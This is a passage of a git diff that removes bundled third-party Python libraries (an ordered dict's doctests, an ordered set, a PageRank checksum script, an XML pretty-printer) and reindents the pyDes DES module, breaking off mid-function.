- >>> [val for val in d.values] - [2, 3, 4] - >>> d.values[-1] = 2 - >>> d.values.count(2) - 2 - >>> d.values.index(2) - 0 - >>> d.values[-1] = 7 - >>> d.values - [2, 3, 7] - >>> d.values.reverse() - >>> d.values - [7, 3, 2] - >>> d.values.sort() - >>> d.values - [2, 3, 7] - >>> d.values.append('anything') - Traceback (most recent call last): - TypeError: Can't append items to values - >>> d.values = (1, 2, 3) - >>> d - SequenceOrderedDict([(1, 1), (2, 2), (3, 3)]) - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.items() - [(1, 2), (2, 3), (3, 4)] - >>> d.setitems([(3, 4), (2 ,3), (1, 2)]) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.items[0] - (3, 4) - >>> d.items[:-1] - [(3, 4), (2, 3)] - >>> d.items[1] = (6, 3) - >>> d.items - [(3, 4), (6, 3), (1, 2)] - >>> d.items[1:2] = [(9, 9)] - >>> d - SequenceOrderedDict([(3, 4), (9, 9), (1, 2)]) - >>> del d.items[1:2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2)]) - >>> (3, 4) in d.items - 1 - >>> (4, 3) in d.items - 0 - >>> len(d.items) - 2 - >>> [v for v in d.items] - [(3, 4), (1, 2)] - >>> d.items.count((3, 4)) - 1 - >>> d.items.index((1, 2)) - 1 - >>> d.items.index((2, 1)) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - >>> d.items.reverse() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.reverse() - >>> d.items.sort() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.append((5, 6)) - >>> d.items - [(1, 2), (3, 4), (5, 6)] - >>> d.items.insert(0, (0, 0)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (5, 6)] - >>> d.items.insert(-1, (7, 8)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)] - >>> d.items.pop() - (5, 6) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8)] - >>> d.items.remove((1, 2)) - >>> d.items - [(0, 0), (3, 4), (7, 8)] - >>> d.items.extend([(1, 2), (5, 6)]) - >>> d.items - [(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)] - """ - - def __init__(self, init_val=(), strict=True): - OrderedDict.__init__(self, init_val, strict=strict) - self._keys = self.keys - self._values = self.values - self._items = self.items - self.keys = Keys(self) - self.values = Values(self) - self.items = Items(self) - self._att_dict = { - 'keys': self.setkeys, - 'items': self.setitems, - 'values': self.setvalues, - } - - def __setattr__(self, name, value): - """Protect keys, items, and values.""" - if not '_att_dict' in self.__dict__: - object.__setattr__(self, name, value) - else: - try: - fun = self._att_dict[name] - except KeyError: - OrderedDict.__setattr__(self, name, value) - else: - fun(value) - -if __name__ == '__main__': - if INTP_VER < (2, 3): - raise RuntimeError("Tests require Python v.2.3 or later") - # turn off warnings for tests - warnings.filterwarnings('ignore') - # run the code tests in doctest format - import doctest - m = sys.modules.get('__main__') - globs = m.__dict__.copy() - globs.update({ - 'INTP_VER': INTP_VER, - }) - doctest.testmod(m, globs=globs) - diff --git a/thirdparty/oset/LICENSE.txt b/thirdparty/oset/LICENSE.txt deleted file mode 100644 index aef85dda33c..00000000000 --- a/thirdparty/oset/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -License -======= - -Copyright (c) 2009, Raymond Hettinger, and others -All rights reserved. - -Package structured based on the one developed to odict -Copyright (c) 2010, BlueDynamics Alliance, Austria - - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this - list of conditions and the following disclaimer in the documentation and/or - other materials provided with the distribution. -* Neither the name of the BlueDynamics Alliance nor the names of its - contributors may be used to endorse or promote products derived from this - software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY -EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/thirdparty/oset/__init__.py b/thirdparty/oset/__init__.py deleted file mode 100644 index 688b31e9230..00000000000 --- a/thirdparty/oset/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Main Ordered Set module """ - -from pyoset import oset diff --git a/thirdparty/oset/_abc.py b/thirdparty/oset/_abc.py deleted file mode 100644 index d3cf1b51ef1..00000000000 --- a/thirdparty/oset/_abc.py +++ /dev/null @@ -1,476 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -import sys -import types - -if sys.version_info > (2, 6): - raise ImportError("Use native ABC classes istead of this one.") - - -# Instance of old-style class -class _C: - pass - -_InstanceType = type(_C()) - - -def abstractmethod(funcobj): - """A decorator indicating abstract methods. - - Requires that the metaclass is ABCMeta or derived from it. A - class that has a metaclass derived from ABCMeta cannot be - instantiated unless all of its abstract methods are overridden. - The abstract methods can be called using any of the normal - 'super' call mechanisms. - - Usage: - - class C: - __metaclass__ = ABCMeta - @abstractmethod - def my_abstract_method(self, ...): - ... - """ - funcobj.__isabstractmethod__ = True - return funcobj - - -class ABCMeta(type): - - """Metaclass for defining Abstract Base Classes (ABCs). - - Use this metaclass to create an ABC. An ABC can be subclassed - directly, and then acts as a mix-in class. You can also register - unrelated concrete classes (even built-in classes) and unrelated - ABCs as 'virtual subclasses' -- these and their descendants will - be considered subclasses of the registering ABC by the built-in - issubclass() function, but the registering ABC won't show up in - their MRO (Method Resolution Order) nor will method - implementations defined by the registering ABC be callable (not - even via super()). - - """ - - # A global counter that is incremented each time a class is - # registered as a virtual subclass of anything. It forces the - # negative cache to be cleared before its next use. - _abc_invalidation_counter = 0 - - def __new__(mcls, name, bases, namespace): - cls = super(ABCMeta, mcls).__new__(mcls, name, bases, namespace) - # Compute set of abstract method names - abstracts = set(name - for name, value in namespace.items() - if getattr(value, "__isabstractmethod__", False)) - for base in bases: - for name in getattr(base, "__abstractmethods__", set()): - value = getattr(cls, name, None) - if getattr(value, "__isabstractmethod__", False): - abstracts.add(name) - cls.__abstractmethods__ = frozenset(abstracts) - # Set up inheritance registry - cls._abc_registry = set() - cls._abc_cache = set() - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - return cls - - def register(cls, subclass): - """Register a virtual subclass of an ABC.""" - if not isinstance(subclass, (type, types.ClassType)): - raise TypeError("Can only register classes") - if issubclass(subclass, cls): - return # Already a subclass - # Subtle: test for cycles *after* testing for "already a subclass"; - # this means we allow X.register(X) and interpret it as a no-op. - if issubclass(cls, subclass): - # This would create a cycle, which is bad for the algorithm below - raise RuntimeError("Refusing to create an inheritance cycle") - cls._abc_registry.add(subclass) - ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache - - def _dump_registry(cls, file=None): - """Debug helper to print the ABC registry.""" - print >> file, "Class: %s.%s" % (cls.__module__, cls.__name__) - print >> file, "Inv.counter: %s" % ABCMeta._abc_invalidation_counter - for name in sorted(cls.__dict__.keys()): - if name.startswith("_abc_"): - value = getattr(cls, name) - print >> file, "%s: %r" % (name, value) - - def __instancecheck__(cls, instance): - """Override for isinstance(instance, cls).""" - # Inline the cache checking when it's simple. - subclass = getattr(instance, '__class__', None) - if subclass in cls._abc_cache: - return True - subtype = type(instance) - # Old-style instances - if subtype is _InstanceType: - subtype = subclass - if subtype is subclass or subclass is None: - if (cls._abc_negative_cache_version == - ABCMeta._abc_invalidation_counter and - subtype in cls._abc_negative_cache): - return False - # Fall back to the subclass check. - return cls.__subclasscheck__(subtype) - return (cls.__subclasscheck__(subclass) or - cls.__subclasscheck__(subtype)) - - def __subclasscheck__(cls, subclass): - """Override for issubclass(subclass, cls).""" - # Check cache - if subclass in cls._abc_cache: - return True - # Check negative cache; may have to invalidate - if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: - # Invalidate the negative cache - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - elif subclass in cls._abc_negative_cache: - return False - # Check the subclass hook - ok = cls.__subclasshook__(subclass) - if ok is not NotImplemented: - assert isinstance(ok, bool) - if ok: - cls._abc_cache.add(subclass) - else: - cls._abc_negative_cache.add(subclass) - return ok - # Check if it's a direct subclass - if cls in getattr(subclass, '__mro__', ()): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a registered class (recursive) - for rcls in cls._abc_registry: - if issubclass(subclass, rcls): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a subclass (recursive) - for scls in cls.__subclasses__(): - if issubclass(subclass, scls): - cls._abc_cache.add(subclass) - return True - # No dice; update negative cache - cls._abc_negative_cache.add(subclass) - return False - - -def _hasattr(C, attr): - try: - return any(attr in B.__dict__ for B in C.__mro__) - except AttributeError: - # Old-style class - return hasattr(C, attr) - - -class Sized: - __metaclass__ = ABCMeta - - @abstractmethod - def __len__(self): - return 0 - - @classmethod - def __subclasshook__(cls, C): - if cls is Sized: - if _hasattr(C, "__len__"): - return True - return NotImplemented - - -class Container: - __metaclass__ = ABCMeta - - @abstractmethod - def __contains__(self, x): - return False - - @classmethod - def __subclasshook__(cls, C): - if cls is Container: - if _hasattr(C, "__contains__"): - return True - return NotImplemented - - -class Iterable: - __metaclass__ = ABCMeta - - @abstractmethod - def __iter__(self): - while False: - yield None - - @classmethod - def __subclasshook__(cls, C): - if cls is Iterable: - if _hasattr(C, "__iter__"): - return True - return NotImplemented - -Iterable.register(str) - - -class Set(Sized, Iterable, Container): - """A set is a finite, iterable container. - - This class provides concrete generic implementations of all - methods except for __contains__, __iter__ and __len__. - - To override the comparisons (presumably for speed, as the - semantics are fixed), all you have to do is redefine __le__ and - then the other operations will automatically follow suit. - """ - - def __le__(self, other): - if not isinstance(other, Set): - return NotImplemented - if len(self) > len(other): - return False - for elem in self: - if elem not in other: - return False - return True - - def __lt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) < len(other) and self.__le__(other) - - def __gt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other < self - - def __ge__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other <= self - - def __eq__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) == len(other) and self.__le__(other) - - def __ne__(self, other): - return not (self == other) - - @classmethod - def _from_iterable(cls, it): - '''Construct an instance of the class from any iterable input. - - Must override this method if the class constructor signature - does not accept an iterable for an input. - ''' - return cls(it) - - def __and__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - return self._from_iterable(value for value in other if value in self) - - def isdisjoint(self, other): - for value in other: - if value in self: - return False - return True - - def __or__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - chain = (e for s in (self, other) for e in s) - return self._from_iterable(chain) - - def __sub__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return self._from_iterable(value for value in self - if value not in other) - - def __xor__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return (self - other) | (other - self) - - # Sets are not hashable by default, but subclasses can change this - __hash__ = None - - def _hash(self): - """Compute the hash value of a set. - - Note that we don't define __hash__: not all sets are hashable. - But if you define a hashable set type, its __hash__ should - call this function. - - This must be compatible __eq__. - - All sets ought to compare equal if they contain the same - elements, regardless of how they are implemented, and - regardless of the order of the elements; so there's not much - freedom for __eq__ or __hash__. We match the algorithm used - by the built-in frozenset type. - """ - MAX = sys.maxint - MASK = 2 * MAX + 1 - n = len(self) - h = 1927868237 * (n + 1) - h &= MASK - for x in self: - hx = hash(x) - h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 - h &= MASK - h = h * 69069 + 907133923 - h &= MASK - if h > MAX: - h -= MASK + 1 - if h == -1: - h = 590923713 - return h - -Set.register(frozenset) - - -class MutableSet(Set): - - @abstractmethod - def add(self, value): - """Add an element.""" - raise NotImplementedError - - @abstractmethod - def discard(self, value): - """Remove an element. Do not raise an exception if absent.""" - raise NotImplementedError - - def remove(self, value): - """Remove an element. If not a member, raise a KeyError.""" - if value not in self: - raise KeyError(value) - self.discard(value) - - def pop(self): - """Return the popped value. Raise KeyError if empty.""" - it = iter(self) - try: - value = it.next() - except StopIteration: - raise KeyError - self.discard(value) - return value - - def clear(self): - """This is slow (creates N new iterators!) but effective.""" - try: - while True: - self.pop() - except KeyError: - pass - - def __ior__(self, it): - for value in it: - self.add(value) - return self - - def __iand__(self, it): - for value in (self - it): - self.discard(value) - return self - - def __ixor__(self, it): - if not isinstance(it, Set): - it = self._from_iterable(it) - for value in it: - if value in self: - self.discard(value) - else: - self.add(value) - return self - - def __isub__(self, it): - for value in it: - self.discard(value) - return self - -MutableSet.register(set) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -if __name__ == '__main__': - print(OrderedSet('abracadaba')) - print(OrderedSet('simsalabim')) diff --git a/thirdparty/oset/pyoset.py b/thirdparty/oset/pyoset.py deleted file mode 100644 index 2a67455bc22..00000000000 --- a/thirdparty/oset/pyoset.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -try: - from collections import MutableSet -except ImportError: - # Running in Python <= 2.5 - from ._abc import MutableSet - - -KEY, PREV, NEXT = range(3) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = reversed(self).next() if last else iter(self).next() - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -oset = OrderedSet diff --git a/thirdparty/pagerank/__init__.py b/thirdparty/pagerank/__init__.py deleted file mode 100644 index 67837734347..00000000000 --- a/thirdparty/pagerank/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python -# -# The MIT License -# -# Copyright 2010 Corey Goldberg -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. -# - -pass diff --git a/thirdparty/pagerank/pagerank.py b/thirdparty/pagerank/pagerank.py deleted file mode 100644 index 977a93744c5..00000000000 --- a/thirdparty/pagerank/pagerank.py +++ /dev/null @@ -1,79 +0,0 @@ -#!/usr/bin/env python -# -# Script for getting Google Page Rank of page -# Google Toolbar 3.0.x/4.0.x Pagerank Checksum Algorithm -# -# original from http://pagerank.gamesaga.net/ -# this version was adapted from http://www.djangosnippets.org/snippets/221/ -# by Corey Goldberg - 2010 -# -# important update (http://www.seroundtable.com/google-pagerank-change-14132.html) -# by Miroslav Stampar - 2012 -# -# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php - -import urllib - -def get_pagerank(url): - url = url.encode('utf8') if isinstance(url, unicode) else url - _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) - try: - f = urllib.urlopen(_) - rank = f.read().strip()[9:] - except Exception: - rank = 'N/A' - else: - rank = '0' if not rank or not rank.isdigit() else rank - return rank - -def int_str(string_, integer, factor): - for i in xrange(len(string_)) : - integer *= factor - integer &= 0xFFFFFFFF - integer += ord(string_[i]) - - return integer - -def hash_url(string_): - c1 = int_str(string_, 0x1505, 0x21) - c2 = int_str(string_, 0, 0x1003F) - - c1 >>= 2 - c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F) - c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF) - c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF) - - t1 = (c1 & 0x3C0) << 4 - t1 |= c1 & 0x3C - t1 = (t1 << 2) | (c2 & 0xF0F) - - t2 = (c1 & 0xFFFFC000) << 4 - t2 |= c1 & 0x3C00 - t2 = (t2 << 0xA) | (c2 & 0xF0F0000) - - return (t1 | t2) - -def check_hash(hash_int): - hash_str = '%u' % (hash_int) - flag = 0 - check_byte = 0 - - i = len(hash_str) - 1 - while i >= 0: - byte = int(hash_str[i]) - if 1 == (flag % 2): - byte *= 2; - byte = byte / 10 + byte % 10 - check_byte += byte - flag += 1 - i -= 1 - - check_byte %= 10 - if 0 != check_byte: - check_byte = 10 - check_byte - if 1 == flag % 2: - if 1 == check_byte % 2: - check_byte += 9 - check_byte >>= 1 - - return '7' + str(check_byte) + hash_str diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py deleted file mode 100644 index 1f9e1434354..00000000000 --- a/thirdparty/prettyprint/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -pass diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py deleted file mode 100644 index 586d808114a..00000000000 --- a/thirdparty/prettyprint/prettyprint.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -from xml.dom import minidom -from xml.dom import Node - -def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') - -def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) - -def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node - -def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) - -def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) - -def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) - - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() - - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("%s" % (self.tagName,newl)) - else: - writer.write("%s%s" % (indent,self.tagName,newl)) - else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) - else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() - -_patch_minidom() diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py index 13e55925097..5322bf10cf9 100644 --- a/thirdparty/pydes/pyDes.py +++ b/thirdparty/pydes/pyDes.py @@ -1,10 +1,10 @@ ############################################################################# -# Documentation # +# Documentation # ############################################################################# # Author: Todd Whiteman # Date: 16th March, 2009 -# Verion: 2.0.0 +# Version: 2.0.1 # License: Public Domain - free to do as you wish # Homepage: http://twhiteman.netfirms.com/des.html # @@ -32,15 +32,15 @@ pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes - for Triple DES + for Triple DES mode -> Optional argument for encryption type, can be either - pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) + pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Length must be 8 bytes. + Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during - all encrypt/decrpt operations done with this instance. + all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) - to use during all encrypt/decrpt operations done with this instance. + to use during all encrypt/decrpt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting @@ -53,12 +53,12 @@ data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For - encryption, adds this characters to the end of the data block when - data is not a multiple of 8 bytes. For decryption, will remove the - trailing characters that match this pad character from the last 8 - bytes of the unencrypted data block. + encryption, adds this characters to the end of the data block when + data is not a multiple of 8 bytes. For decryption, will remove the + trailing characters that match this pad character from the last 8 + bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL - or PAD_PKCS5). Defaults to PAD_NORMAL. + or PAD_PKCS5). Defaults to PAD_NORMAL. Example @@ -90,8 +90,8 @@ _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering -ECB = 0 -CBC = 1 +ECB = 0 +CBC = 1 # Modes of padding PAD_NORMAL = 1 @@ -105,754 +105,748 @@ # The base class shared by des and triple des. class _baseDes(object): - def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - if IV: - IV = self._guardAgainstUnicode(IV) - if pad: - pad = self._guardAgainstUnicode(pad) - self.block_size = 8 - # Sanity checking of arguments. - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if IV and len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - - # Set the passed in variables - self._mode = mode - self._iv = IV - self._padding = pad - self._padmode = padmode - - def getKey(self): - """getKey() -> bytes""" - return self.__key - - def setKey(self, key): - """Will set the crypting key for this object.""" - key = self._guardAgainstUnicode(key) - self.__key = key - - def getMode(self): - """getMode() -> pyDes.ECB or pyDes.CBC""" - return self._mode - - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - self._mode = mode - - def getPadding(self): - """getPadding() -> bytes of length 1. Padding character.""" - return self._padding - - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - if pad is not None: - pad = self._guardAgainstUnicode(pad) - self._padding = pad - - def getPadMode(self): - """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - return self._padmode - - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - self._padmode = mode - - def getIV(self): - """getIV() -> bytes""" - return self._iv - - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - if not IV or len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - IV = self._guardAgainstUnicode(IV) - self._iv = IV - - def _padData(self, data, pad, padmode): - # Pad data depending on the mode - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - - if padmode == PAD_NORMAL: - if len(data) % 